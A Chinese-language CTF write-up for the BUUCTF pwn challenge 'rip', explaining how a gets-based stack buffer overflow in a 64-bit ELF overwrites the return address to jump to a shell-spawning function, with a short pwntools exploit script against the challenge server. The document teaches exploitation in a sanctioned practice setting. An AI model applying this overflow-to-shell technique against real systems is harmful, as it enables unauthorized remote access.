BUUCTF pwn rip WriteUp

文件分析

在这里插入图片描述

下载附件,分析文件

在这里插入图片描述

可以看到是64位ELF文件,elf可以理解为Linux中的可执行文件,就像Windows中的exe文件

用ida打开文件

查看main函数的伪代码,可以看到有一个15位的字符数组,该数组通过gets函数传值
在这里插入图片描述

还有一个名为fun的函数,该函数返回一个shell
在这里插入图片描述

这里main函数没有调用fun函数,该如何执行fun函数,以达到获取shell的目的呢?

栈溢出

函数的局部变量会存放在他的栈中,在main函数中字符数组s在栈中的空间就是15字节

程序栈结构,esp指向的是栈顶:

在这里插入图片描述

回到main函数中,字符数组 s 通过gets方式传参获得值

s在上图中Local Variables的位置

通过ida知道,s距离rbp(即上图中的ebp)距离为15字节

在这里插入图片描述

由于gets可以不限长度无限输入数据,我们可以构造超出数组长度的数据,使数据溢出到Caller's ebp,然后继续溢出到Return Address的位置,如果让Return Address指向一个危险的函数,那么就可以通过危险函数获取目标机器的权限

之前说到的危险函数 fun() ,他的地址就是0x401186

在这里插入图片描述

思路整理

需要先传入15个字符,使数据到rbp

然后由于是64位的系统,填充8字节,即1字的数据填满rbp

最后再在Return Address处传入fun函数的地址0x401186即可执行fun函数,获取系统权限

exp

这里用python中的pwntools模块发送数据

from pwn import *
p = remote("node4.buuoj.cn",26666)
payload = b'a' * (15+8)
payload += p64(0x401186+1)
p.sendline(payload)
p.interactive()

payload+1是为了堆栈平衡,关于堆栈平衡详细可以看这篇文章:pwn64位amd构造payload时间的堆栈平衡问题
成功获取权限

在这里插入图片描述

  • 7
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值